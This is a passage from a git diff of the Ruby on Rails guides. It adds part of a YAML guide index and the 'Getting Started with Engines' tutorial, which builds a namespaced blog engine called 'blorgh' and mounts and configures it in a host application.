+      url: routing.html
+      description: This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.
+-
+  name: Digging Deeper
+  documents:
+    - 
+      name: Active Support Core Extensions
+      url: active_support_core_extensions.html
+      description: This guide documents the Ruby core extensions defined in Active Support.
+    - 
+      name: Rails Internationalization API
+      url: i18n.html
+      description: This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.
+    - 
+      name: Action Mailer Basics
+      url: action_mailer_basics.html
+      work_in_progress: true
+      description: This guide describes how to use Action Mailer to send and receive emails.
+    - 
+      name: Testing Rails Applications
+      url: testing.html
+      work_in_progress: true
+      description: This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from 'What is a test?' to the testing APIs. Enjoy.
+    - 
+      name: Securing Rails Applications
+      url: security.html
+      description: This guide describes common security problems in web applications and how to avoid them with Rails.
+    - 
+      name: Debugging Rails Applications
+      url: debugging_rails_applications.html
+      description: This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.
+    - 
+      name: Performance Testing Rails Applications
+      url: performance_testing.html
+      description: This guide covers the various ways of performance testing a Ruby on Rails application.
+    - 
+      name: Configuring Rails Applications
+      url: configuring.html
+      description: This guide covers the basic configuration settings for a Rails application.
+    - 
+      name: Rails Command Line Tools and Rake Tasks
+      url: command_line.html
+      description: This guide covers the command line tools and rake tasks provided by Rails.
+    - 
+      name: Caching with Rails
+      work_in_progress: true
+      url: caching_with_rails.html
+      description: Various caching techniques provided by Rails.
+    - 
+      name: Asset Pipeline
+      url: asset_pipeline.html
+      description: This guide documents the asset pipeline.
+    - 
+      name: Getting Started with Engines
+      url: engines.html
+      description: This guide explains how to write a mountable engine.
+      work_in_progress: true
+    - 
+      name: The Rails Initialization Process
+      work_in_progress: true
+      url: initialization.html
+      description: This guide explains the internals of the Rails initialization process as of Rails 3.1
+-
+  name: Extending Rails
+  documents:
+    - 
+      name: The Basics of Creating Rails Plugins
+      work_in_progress: true
+      url: plugins.html
+      description: This guide covers how to build a plugin to extend the functionality of Rails.
+    - 
+      name: Rails on Rack
+      url: rails_on_rack.html
+      description: This guide covers Rails integration with Rack and interfacing with other Rack components.
+    - 
+      name: Creating and Customizing Rails Generators
+      url: generators.html
+      description: This guide covers the process of adding a brand new generator to your extension or providing an alternative to an element of a built-in Rails generator (such as providing alternative test stubs for the scaffold generator).
+-
+  name: Contributing to Ruby on Rails
+  documents:
+    - 
+      name: Contributing to Ruby on Rails
+      url: contributing_to_ruby_on_rails.html
+      description: Rails is not 'somebody else's framework.' This guide covers a variety of ways that you can get involved in the ongoing development of Rails.
+    - 
+      name: API Documentation Guidelines
+      url: api_documentation_guidelines.html
+      description: This guide documents the Ruby on Rails API documentation guidelines.
+    - 
+      name: Ruby on Rails Guides Guidelines
+      url: ruby_on_rails_guides_guidelines.html
+      description: This guide documents the Ruby on Rails guides guidelines.
+-
+  name: Release Notes
+  documents:
+    - 
+      name: Upgrading Ruby on Rails
+      url: upgrading_ruby_on_rails.html
+      work_in_progress: true
+      description: This guide helps in upgrading applications to latest Ruby on Rails versions.
+    -
+      name: Ruby on Rails 3.2 Release Notes
+      url: 3_2_release_notes.html
+      description: Release notes for Rails 3.2.
+    -
+      name: Ruby on Rails 3.1 Release Notes
+      url: 3_1_release_notes.html
+      description: Release notes for Rails 3.1.
+    - 
+      name: Ruby on Rails 3.0 Release Notes
+      url: 3_0_release_notes.html
+      description: Release notes for Rails 3.0.
+    - 
+      name: Ruby on Rails 2.3 Release Notes
+      url: 2_3_release_notes.html
+      description: Release notes for Rails 2.3.
+    - 
+      name: Ruby on Rails 2.2 Release Notes
+      url: 2_2_release_notes.html
+      description: Release notes for Rails 2.2.
diff --git a/guides/source/engines.textile b/guides/source/engines.textile
new file mode 100644
index 0000000000..de4bbb5656
--- /dev/null
+++ b/guides/source/engines.textile
@@ -0,0 +1,912 @@
+h2. Getting Started with Engines
+
+In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface. You will learn the following things in this guide:
+
+* What makes an engine
+* How to generate an engine
+* Building features for the engine
+* Hooking the engine into an application
+* Overriding engine functionality in the application
+
+endprologue.
+
+h3. What are engines?
+
+Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the +Rails::Application+ class inheriting a lot of its behaviour from +Rails::Engine+.
+
+Therefore, engines and applications can be thought of almost the same thing, just with very minor differences, as you'll see throughout this guide. Engines and applications also share a common structure.
+
+Engines are also closely related to plugins where the two share a common +lib+ directory structure and are both generated using the +rails plugin new+ generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the +--full+ option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine *can* be a plugin, and a plugin *can* be an engine.
+
+The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.
+
+Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as +posts_path+ and use an engine also that provides a path also called +posts_path+, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
+
+It's important to keep in mind at all times that the application should *always* take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically.
+
+To see demonstrations of other engines, check out "Devise":https://github.com/plataformatec/devise, an engine that provides authentication for its parent applications, or "Forem":https://github.com/radar/forem, an engine that provides forum functionality. There's also "Spree":https://github.com/spree/spree which provides an e-commerce platform, and "RefineryCMS":https://github.com/resolve/refinerycms, a CMS engine.
+
+Finally, engines would not have be possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
+
+h3. Generating an engine
+
+To generate an engine with Rails 3.1, you will need to run the plugin generator and pass it the +--full+ and +--mountable+ options. To generate the beginnings of the "blorgh" engine you will need to run this command in a terminal:
+
+<shell>
+$ rails plugin new blorgh --full --mountable
+</shell>
+
+The full list of options for the plugin generator may be seen by typing:
+
+<shell>
+$ rails plugin --help
+</shell>
+
+The +--full+ option tells the plugin generator that you want to create an engine (which is a mountable plugin, hence the option name), creating the basic directory structure of an engine by providing things such as the foundations of an +app+ folder, as well a +config/routes.rb+ file. This generator also provides a file at +lib/blorgh/engine.rb+ which is identical in function to an application's +config/application.rb+ file.
+
+The +--mountable+ option tells the generator to mount the engine inside the dummy testing application located at +test/dummy+ inside the engine. It does this by placing this line in to the dummy application's +config/routes.rb+ file, located at +test/dummy/config/routes.rb+ inside the engine:
+
+<ruby>
+mount Blorgh::Engine, :at => "blorgh"
+</ruby>
+
+h4. Inside an engine
+
+h5. Critical files
+
+At the root of this brand new engine's directory, lives a +blorgh.gemspec+ file. When you include the engine into the application later on, you will do so with this line in a Rails application's +Gemfile+:
+
+<ruby>
+gem 'blorgh', :path => "vendor/engines/blorgh"
+</ruby>
+
+By specifying it as a gem within the +Gemfile+, Bundler will load it as such, parsing this +blorgh.gemspec+ file and requiring a file within the +lib+ directory called +lib/blorgh.rb+. This file requires the +blorgh/engine.rb+ file (located at +lib/blorgh/engine.rb+) and defines a base module called +Blorgh+.
+
+<ruby>
+require "blorgh/engine"
+
+module Blorgh
+end
+</ruby>
+
+TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you're wanting offer configuration options, the file where your engine's +module+ is defined is perfect for that. Place the methods inside the module and you'll be good to go.
+
+Within +lib/blorgh/engine.rb+ is the base class for the engine:
+
+<ruby>
+module Blorgh
+  class Engine < Rails::Engine
+    isolate_namespace Blorgh
+  end
+end
+</ruby>
+
+By inheriting from the +Rails::Engine+ class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the +app+ directory of the engine to the load path for models, mailers, controllers and views.
+
+The +isolate_namespace+ method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling +isolate_namespace+, engine's helpers would be included in application's controllers.
+
+NOTE: It is *highly* recommended that the +isolate_namespace+ line be left within the +Engine+ class definition. Without it, classes generated in an engine *may* conflict with an application.
+
+What this isolation of the namespace means is that a model generated by a call to +rails g model+ such as +rails g model post+ wouldn't be called +Post+, but instead be namespaced and called +Blorgh::Post+. In addition to this, the table for the model is namespaced, becoming +blorgh_posts+, rather than simply +posts+. Similar to the model namespacing, a controller called +PostsController+ would be +Blorgh::Postscontroller+ and the views for that controller would not be at +app/views/posts+, but rather +app/views/blorgh/posts+. Mailers would be namespaced as well.
+
+Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the "Routes":#routes section of this guide.
+
+h5. +app+ directory
+
+Inside the +app+ directory there is the standard +assets+, +controllers+, +helpers+, +mailers+, +models+ and +views+ directories that you should be familiar with from an application. The +helpers+, +mailers+ and +models+ directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine.
+
+Within the +app/assets+ directory, there is the +images+, +javascripts+ and +stylesheets+ directories which, again, you should be familiar with due to their similarities of an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
+
+Within the +app/controllers+ directory there is a +blorgh+ directory and inside that a file called +application_controller.rb+. This file will provide any common functionality for the controllers of the engine. The +blorgh+ directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
+
+NOTE: The +ApplicationController+ class is called as such inside an engine -- rather than +EngineController+ -- mainly due to that if you consider that an engine is really just a mini-application, it makes sense. You should also be able to convert an application to an engine with relatively little pain, and this is just one of the ways to make that process easier, albeit however so slightly.
+
+Lastly, the +app/views+ directory contains a +layouts+ folder which contains file at +blorgh/application.html.erb+ which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the applications +app/views/layouts/application.html.erb+ file.
+
+If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.
+
+h5. +script+ directory
+
+This directory contains one file, +script/rails+, which enables you to use the +rails+ sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this:
+
+<shell>
+rails g model
+</shell>
+
+Keeping in mind, of course, that anything generated with these commands inside an engine that has +isolate_namespace+ inside the Engine class will be namespaced.
+
+h5. +test+ directory
+
+The +test+ directory is where tests for the engine will go. To test the engine, there is a cut-down version of a Rails application embedded within it at +test/dummy+. This application will mount the engine in the +test/dummy/config/routes.rb+ file:
+
+<ruby>
+Rails.application.routes.draw do
+  mount Blorgh::Engine => "/blorgh"
+end
+</ruby>
+
+This line mounts the engine at the path of +/blorgh+, which will make it accessible through the application only at that path.
+
+Also in the test directory is the +test/integration+ directory, where integration tests for the engine should be placed. Other directories can be created in the +test+ directory also. For example, you may wish to create a +test/unit+ directory for your unit tests.
+
+h3. Providing engine functionality
+
+The engine that this guide covers will provide posting and commenting functionality and follows a similar thread to the "Getting Started Guide":getting_started.html, with some new twists.
+
+h4. Generating a post resource
+
+The first thing to generate for a blog engine is the +Post+ model and related controller. To quickly generate this, you can use the Rails scaffold generator.
+
+<shell>
+$ rails generate scaffold post title:string text:text
+</shell>
+
+This command will output this information:
+
+<shell>
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_posts.rb
+create    app/models/blorgh/post.rb
+invoke    test_unit
+create      test/unit/blorgh/post_test.rb
+create      test/fixtures/blorgh/posts.yml
+ route  resources :posts
+invoke  scaffold_controller
+create    app/controllers/blorgh/posts_controller.rb
+invoke    erb
+create      app/views/blorgh/posts
+create      app/views/blorgh/posts/index.html.erb
+create      app/views/blorgh/posts/edit.html.erb
+create      app/views/blorgh/posts/show.html.erb
+create      app/views/blorgh/posts/new.html.erb
+create      app/views/blorgh/posts/_form.html.erb
+invoke    test_unit
+create      test/functional/blorgh/posts_controller_test.rb
+invoke    helper
+create      app/helpers/blorgh/posts_helper.rb
+invoke      test_unit
+create        test/unit/helpers/blorgh/posts_helper_test.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/posts.js
+invoke    css
+create      app/assets/stylesheets/blorgh/posts.css
+invoke  css
+create    app/assets/stylesheets/scaffold.css
+</shell>
+
+The first thing that the scaffold generator does is invoke the +active_record+ generator, which generates a migration and a model for the resource. Note here, however, that the migration is called +create_blorgh_posts+ rather than the usual +create_posts+. This is due to the +isolate_namespace+ method called in the +Blorgh::Engine+ class's definition. The model here is also namespaced, being placed at +app/models/blorgh/post.rb+ rather than +app/models/post.rb+ due to the +isolate_namespace+ call within the +Engine+ class.
+
+Next, the +test_unit+ generator is invoked for this model, generating a unit test at +test/unit/blorgh/post_test.rb+ (rather than +test/unit/post_test.rb+) and a fixture at +test/fixtures/blorgh/posts.yml+ (rather than +test/fixtures/posts.yml+).
+
+After that, a line for the resource is inserted into the +config/routes.rb+ file for the engine. This line is simply +resources :posts+, turning the +config/routes.rb+ file for the engine into this:
+
+<ruby>
+Blorgh::Engine.routes.draw do
+  resources :posts
+end
+</ruby>
+
+Note here that the routes are drawn upon the +Blorgh::Engine+ object rather than the +YourApp::Application+ class. This is so that the engine routes are confined to the engine itself and can be mounted at a specific point as shown in the "test directory":#test-directory section. This is also what causes the engine's routes to be isolated from those routes that are within the application. This is discussed further in the "Routes":#routes section of this guide.
+
+Next, the +scaffold_controller+ generator is invoked, generating a controlled called +Blorgh::PostsController+ (at +app/controllers/blorgh/posts_controller.rb+) and its related views at +app/views/blorgh/posts+. This generator also generates a functional test for the controller (+test/functional/blorgh/posts_controller_test.rb+) and a helper (+app/helpers/blorgh/posts_controller.rb+).
+
+Everything this generator has created is neatly namespaced. The controller's class is defined within the +Blorgh+ module:
+
+<ruby>
+module Blorgh
+  class PostsController < ApplicationController
+    ...
+  end
+end
+</ruby>
+
+NOTE: The +ApplicationController+ class being inherited from here is the +Blorgh::ApplicationController+, not an application's +ApplicationController+.
+
+The helper inside +app/helpers/blorgh/posts_helper.rb+ is also namespaced:
+
+<ruby>
+module Blorgh
+  class PostsHelper
+    ...
+  end
+end
+</ruby>
+
+This helps prevent conflicts with any other engine or application that may have a post resource also.
+
+Finally, two files that are the assets for this resource are generated, +app/assets/javascripts/blorgh/posts.js+ and +app/assets/javascripts/blorgh/posts.css+. You'll see how to use these a little later.
+
+By default, the scaffold styling is not applied to the engine as the engine's layout file, +app/views/blorgh/application.html.erb+ doesn't load it. To make this apply, insert this line into the +<head>+ tag of this layout:
+
+<erb>
+<%= stylesheet_link_tag "scaffold" %>
+</erb>
+
+You can see what the engine has so far by running +rake db:migrate+ at the root of our engine to run the migration generated by the scaffold generator, and then running +rails server+ in +test/dummy+. When you open +http://localhost:3000/blorgh/posts+ you will see the default scaffold that has been generated. Click around! You've just generated your first engine's first functions.
+
+If you'd rather play around in the console, +rails console+ will also work just like a Rails application. Remember: the +Post+ model is namespaced, so to reference it you must call it as +Blorgh::Post+.
+
+<ruby>
+>> Blorgh::Post.find(1)
+=> #<Blorgh::Post id: 1 ...>
+</ruby>
+
+One final thing is that the +posts+ resource for this engine should be the root of the engine. Whenever someone goes to the root path where the engine is mounted, they should be shown a list of posts. This can be made to happen if this line is inserted into the +config/routes.rb+ file inside the engine:
+
+<ruby>
+root :to => "posts#index"
+</ruby>
+
+Now people will only need to go to the root of the engine to see all the posts, rather than visiting +/posts+. This means that instead of +http://localhost:3000/blorgh/posts+, you only need to go to +http://localhost:3000/blorgh+ now.
+
+h4. Generating a comments resource
+
+Now that the engine has the ability to create new blog posts, it only makes sense to add commenting functionality as well. To do get this, you'll need to generate a comment model, a comment controller and then modify the posts scaffold to display comments and allow people to create new ones.
+
+Run the model generator and tell it to generate a +Comment+ model, with the related table having two columns: a +post_id+ integer and +text+ text column.
+
+<shell>
+$ rails generate model Comment post_id:integer text:text
+</shell>
+
+This will output the following:
+
+<shell>
+invoke  active_record
+create    db/migrate/[timestamp]_create_blorgh_comments.rb
+create    app/models/blorgh/comment.rb
+invoke    test_unit
+create      test/unit/blorgh/comment_test.rb
+create      test/fixtures/blorgh/comments.yml
+</shell>
+
+This generator call will generate just the necessary model files it needs, namespacing the files under a +blorgh+ directory and creating a model class called +Blorgh::Comment+.
+
+To show the comments on a post, edit +app/views/blorgh/posts/show.html.erb+ and add this line before the "Edit" link:
+
+<erb>
+<h3>Comments</h3>
+<%= render @post.comments %>
+</erb>
+
+This line will require there to be a +has_many+ association for comments defined on the +Blorgh::Post+ model, which there isn't right now. To define one, open +app/models/blorgh/post.rb+ and add this line into the model:
+
+<ruby>
+has_many :comments
+</ruby>
+
+Turning the model into this:
+
+<ruby>
+module Blorgh
+  class Post < ActiveRecord::Base
+    has_many :comments
+  end
+end
+</ruby>
+
+NOTE: Because the +has_many+ is defined inside a class that is inside the +Blorgh+ module, Rails will know that you want to use the +Blorgh::Comment+ model for these objects, so there's no need to specify that using the +:class_name+ option here.
+
+Next, there needs to be a form so that comments can be created on a post. To add this, put this line underneath the call to +render @post.comments+ in +app/views/blorgh/posts/show.html.erb+:
+
+<erb>
+<%= render "blorgh/comments/form" %>
+</erb>
+
+Next, the partial that this line will render needs to exist. Create a new directory at +app/views/blorgh/comments+ and in it a new file called +_form.html.erb+ which has this content to create the required partial:
+
+<erb>
+<h3>New comment</h3>
+<%= form_for [@post, @post.comments.build] do |f| %>
+  <p>
+    <%= f.label :text %><br />
+    <%= f.text_area :text %>
+  </p>
+  <%= f.submit %>
+<% end %>
+</erb>
+
+When this form is submitted, it is going to attempt to perform a +POST+ request to a route of +/posts/:post_id/comments+ within the engine. This route doesn't exist at the moment, but can be created by changing the +resources :posts+ line inside +config/routes.rb+ into these lines:
+
+<ruby>
+resources :posts do
+  resources :comments
+end
+</ruby>
+
+This creates a nested route for the comments, which is what the form requires.
+
+The route now exists, but the controller that this route goes to does not. To create it, run this command:
+
+<shell>
+$ rails g controller comments
+</shell>
+
+This will generate the following things:
+
+<shell>
+create  app/controllers/blorgh/comments_controller.rb
+invoke  erb
+ exist    app/views/blorgh/comments
+invoke  test_unit
+create    test/functional/blorgh/comments_controller_test.rb
+invoke  helper
+create    app/helpers/blorgh/comments_helper.rb
+invoke    test_unit
+create      test/unit/helpers/blorgh/comments_helper_test.rb
+invoke  assets
+invoke    js
+create      app/assets/javascripts/blorgh/comments.js
+invoke    css
+create      app/assets/stylesheets/blorgh/comments.css
+</shell>
+
+The form will be making a +POST+ request to +/posts/:post_id/comments+, which will correspond with the +create+ action in +Blorgh::CommentsController+. This action needs to be created and can be done by putting the following lines inside the class definition in +app/controllers/blorgh/comments_controller.rb+:
+
+<ruby>
+def create
+  @post = Post.find(params[:post_id])
+  @comment = @post.comments.create(params[:comment])
+  flash[:notice] = "Comment has been created!"
+  redirect_to post_path
+end
+</ruby>
+
+This is the final part required to get the new comment form working. Displaying the comments however, is not quite right yet. If you were to create a comment right now you would see this error:
+
+<plain>
+Missing partial blorgh/comments/comment with {:handlers=>[:erb, :builder], :formats=>[:html], :locale=>[:en, :en]}. Searched in:
+  * "/Users/ryan/Sites/side_projects/blorgh/test/dummy/app/views"
+  * "/Users/ryan/Sites/side_projects/blorgh/app/views"
+</plain>
+
+The engine is unable to find the partial required for rendering the comments. Rails has looked firstly in the application's (+test/dummy+) +app/views+ directory and then in the engine's +app/views+ directory. When it can't find it, it will throw this error. The engine knows to look for +blorgh/comments/comment+ because the model object it is receiving is from the +Blorgh::Comment+ class.
+
+This partial will be responsible for rendering just the comment text, for now. Create a new file at +app/views/blorgh/comments/_comment.html.erb+ and put this line inside it:
+
+<erb>
+<%= comment_counter + 1 %>. <%= comment.text %>
+</erb>
+
+The +comment_counter+ local variable is given to us by the +<%= render @post.comments %>+ call, as it will define this automatically and increment the counter as it iterates through each comment. It's used in this example to display a small number next to each comment when it's created.
+
+That completes the comment function of the blogging engine. Now it's time to use it within an application.
+
+h3. Hooking into an application
+
+Using an engine within an application is very easy. This section covers how to mount the engine into an application and the initial setup required for it, as well as linking the engine to a +User+ class provided by the application to provide ownership for posts and comments within the engine.
+
+h4. Mounting the engine
+
+First, the engine needs to be specified inside the application's +Gemfile+. If there isn't an application handy to test this out in, generate one using the +rails new+ command outside of the engine directory like this:
+
+<shell>
+$ rails new unicorn
+</shell>
+
+Usually, specifying the engine inside the Gemfile would be done by specifying it as a normal, everyday gem.
+
+<ruby>
+gem 'devise'
+</ruby>
+
+Because the +blorgh+ engine is still under development, it will need to have a +:path+ option for its +Gemfile+ specification:
+
+<ruby>
+gem 'blorgh', :path => "/path/to/blorgh"
+</ruby>
+
+If the whole +blorgh+ engine directory is copied to +vendor/engines/blorgh+ then it could be specified in the +Gemfile+ like this:
+
+<ruby>
+gem 'blorgh', :path => "vendor/engines/blorgh"
+</ruby>
+
+As described earlier, by placing the gem in the +Gemfile+ it will be loaded when Rails is loaded, as it will first require +lib/blorgh.rb+ in the engine and then +lib/blorgh/engine.rb+, which is the file that defines the major pieces of functionality for the engine.
+
+To make the engine's functionality accessible from within an application, it needs to be mounted in that application's +config/routes.rb+ file:
+
+<ruby>
+mount Blorgh::Engine, :at => "/blog"
+</ruby>
+
+This line will mount the engine at +/blog+ in the application. Making it accessible at +http://localhost:3000/blog+ when the application runs with +rails server+.
+
+NOTE: Other engines, such as Devise, handle this a little differently by making you specify custom helpers such as +devise_for+ in the routes. These helpers do exactly the same thing, mounting pieces of the engines's functionality at a pre-defined path which may be customizable.
+
+h4. Engine setup
+
+The engine contains migrations for the +blorgh_posts+ and +blorgh_comments+ table which need to be created in the application's database so that the engine's models can query them correctly. To copy these migrations into the application use this command:
+
+<shell>
+$ rake blorgh:install:migrations
+</shell>
+
+If you have multiple engines that need migrations copied over, use +railties:install:migrations+ instead:
+
+<shell>
+$ rake railties:install:migrations
+</shell>
+
+This command, when run for the first time will copy over all the migrations from the engine. When run the next time, it will only copy over migrations that haven't been copied over already. The first run for this command will output something such as this:
+
+<shell>
+Copied migration [timestamp_1]_create_blorgh_posts.rb from blorgh
+Copied migration [timestamp_2]_create_blorgh_comments.rb from blorgh
+</shell>
+
+The first timestamp (+\[timestamp_1\]+) will be the current time and the second timestamp (+\[timestamp_2\]+) will be the current time plus a second. The reason for this is so that the migrations for the engine are run after any existing migrations in the application.
+
+To run these migrations within the context of the application, simply run +rake db:migrate+. When accessing the engine through +http://localhost:3000/blog+, the posts will be empty. This is because the table created inside the application is different from the one created within the engine. Go ahead, play around with the newly mounted engine. You'll find that it's the same as when it was only an engine.
+
+If you would like to run migrations only from one engine, you can do it by specifying +SCOPE+:
+
+<shell>
+rake db:migrate SCOPE=blorgh
+</shell>
+
+This may be useful if you want to revert engine's migrations before removing it. In order to revert all migrations from blorgh engine you can run such code:
+
+<shell>
+rake db:migrate SCOPE=blorgh VERSION=0
+</shell>
+
+h4. Using a class provided by the application
+
+h5. Using a model provided by the application
+
+When an engine is created, it may want to use specific classes from an application to provide links between the pieces of the engine and the pieces of the application. In the case of the +blorgh+ engine, making posts and comments have authors would make a lot of sense.
+
+Usually, an application would have a +User+ class that would provide the objects that would represent the posts' and comments' authors, but there could be a case where the application calls this class something different, such as +Person+. It's because of this reason that the engine should not hardcode the associations to be exactly for a +User+ class, but should allow for some flexibility around what the class is called.
+
+To keep it simple in this case, the application will have a class called +User+ which will represent the users of the application. It can be generated using this command inside the application:
+
+<shell>
+rails g model user name:string
+</shell>
+
+The +rake db:migrate+ command needs to be run here to ensure that our application has the +users+ table for future use.
+
+Also, to keep it simple, the posts form will have a new text field called +author_name+ where users can elect to put their name. The engine will then take this name and create a new +User+ object from it or find one that already has that name, and then associate the post with it.
+
+First, the +author_name+ text field needs to be added to the +app/views/blorgh/posts/_form.html.erb+ partial inside the engine. This can be added above the +title+ field with this code:
+
+<erb>
+<div class="field">
+  <%= f.label :author_name %><br />
+  <%= f.text_field :author_name %>
+</div>
+</erb>
+
+The +Blorgh::Post+ model should then have some code to convert the +author_name+ field into an actual +User+ object and associate it as that post's +author+ before the post is saved. It will also need to have an +attr_accessor+ setup for this field so that the setter and getter methods are defined for it.
+
+To do all this, you'll need to add the +attr_accessor+ for +author_name+, the association for the author and the +before_save+ call into +app/models/blorgh/post.rb+. The +author+ association will be hard-coded to the +User+ class for the time being.
+
+<ruby>
+attr_accessor :author_name
+belongs_to :author, :class_name => "User"
+
+before_save :set_author
+
+private
+  def set_author
+    self.author = User.find_or_create_by_name(author_name)
+  end
+</ruby>
+
+By defining that the +author+ association's object is represented by the +User+ class a link is established between the engine and the application. There needs to be a way of associating the records in the +blorgh_posts+ table with the records in the +users+ table. Because the association is called +author+, there should be an +author_id+ column added to the +blorgh_posts+ table.
+
+To generate this new column, run this command within the engine:
+
+<shell>
+$ rails g migration add_author_id_to_blorgh_posts author_id:integer
+</shell>
+
+NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this.
+
+This migration will need to be run on the application. To do that, it must first be copied using this command:
+
+<shell>
+$ rake blorgh:install:migrations
+</shell>
+
+Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run.
+
+<plain>
+NOTE Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists.
+NOTE Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists.
+Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh
+</plain>
+
+Run this migration using this command:
+
+<shell>
+$ rake db:migrate
+</shell>
+
+Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the +users+ table -- with a post, represented by the +blorgh_posts+ table from the engine.
+
+Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside +app/views/blorgh/posts/show.html.erb+:
+
+<erb>
+<p>
+  <b>Author:</b>
+  <%= @post.author %>
+</p>
+</erb>
+
+By outputting +@post.author+ using the +<%=+ tag the +to_s+ method will be called on the object. By default, this will look quite ugly:
+
+<plain>
+#<User:0x00000100ccb3b0>
+</plain>
+
+This is undesirable and it would be much better to have the user's name there. To do this, add a +to_s+ method to the +User+ class within the application:
+
+<ruby>
+def to_s
+  name
+end
+</ruby>
+
+Now instead of the ugly Ruby object output the author's name will be displayed.
+
+h5. Using a controller provided by the application
+
+Because Rails controllers generally share code for things like authentication and accessing session variables, by default they inherit from <tt>ApplicationController</tt>. Rails engines, however are scoped to run independently from the main application, so each engine gets a scoped +ApplicationController+. This namespace prevents code collisions, but often engine controllers should access methods in the main application's +ApplicationController+. An easy way to provide this access is to change the engine's scoped +ApplicationController+ to inherit from the main application's +ApplicationController+. For our Blorgh engine this would be done by changing +app/controllers/blorgh/application_controller.rb+ to look like:
+
+<ruby>
+class Blorgh::ApplicationController < ApplicationController
+end
+</ruby>
+
+By default, the engine's controllers inherit from <tt>Blorgh::ApplicationController</tt>. So, after making this change they will have access to the main applications +ApplicationController+ as though they were part of the main application.
+
+This change does require that the engine is run from a Rails application that has an +ApplicationController+.
+
+h4. Configuring an engine
+
+This section covers firstly how you can make the +user_class+ setting of the Blorgh engine configurable, followed by general configuration tips for the engine.
+
+h5. Setting configuration settings in the application
+
+The next step is to make the class that represents a +User+ in the application customizable for the engine. This is because, as explained before, that class may not always be +User+. To make this customizable, the engine will have a configuration setting called +user_class+ that will be used to specify what the class representing users is inside the application.
+
+To define this configuration setting, you should use a +mattr_accessor+ inside the +Blorgh+ module for the engine, located at +lib/blorgh.rb+ inside the engine. Inside this module, put this line:
+
+<ruby>
+mattr_accessor :user_class
+</ruby>
+
+This method works like its brothers +attr_accessor+ and +cattr_accessor+, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using +Blorgh.user_class+.
+
+The next step is switching the +Blorgh::Post+ model over to this new setting. For the +belongs_to+ association inside this model (+app/models/blorgh/post.rb+), it will now become this:
+
+<ruby>
+belongs_to :author, :class_name => Blorgh.user_class
+</ruby>
+
+The +set_author+ method also located in this class should also use this class:
+
+<ruby>
+self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name)
+</ruby>
+
+To save having to call +constantize+ on the +user_class+ result all the time, you could instead just override the +user_class+ getter method inside the +Blorgh+ module in the +lib/blorgh.rb+ file to always call +constantize+ on the saved value before returning the result:
+
+<ruby>
+def self.user_class
+  @@user_class.constantize
+end
+</ruby>
+
+This would then turn the above code for +self.author=+ into this:
+
+<ruby>
+self.author = Blorgh.user_class.find_or_create_by_name(author_name)
+</ruby>
+
+Resulting in something a little shorter, and more implicit in its behaviour. The +user_class+ method should always return a +Class+ object.
+
+To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and calls the engine's models which may depend on this configuration setting existing.
+
+Create a new initializer at +config/initializers/blorgh.rb+ inside the application where the +blorgh+ engine is installed and put this content in it:
+
+<ruby>
+Blorgh.user_class = "User"
+</ruby>
+
+WARNING: It's very important here to use the +String+ version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a +String+ should be used and then converted to a class using +constantize+ in the engine later on.
+
+Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in +config/initializers/blorgh.rb+ to learn what the class is.
+
+There are now no strict dependencies on what the class is, only what the class's API must be. The engine simply requires this class to define a +find_or_create_by_name+ method which returns an object of that class to be associated with a post when it's created. This object, of course, should have some sort of identifier by which it can be referenced.
+
+h5. General engine configuration
+
+Within an engine, there may come a time where you wish to use things such as initializers, internationalization or other configuration options. The great news is that these things are entirely possible because a Rails engine shares much the same functionality as a Rails application. In fact, a Rails application's functionality is actually a superset of what is provided by engines!
+
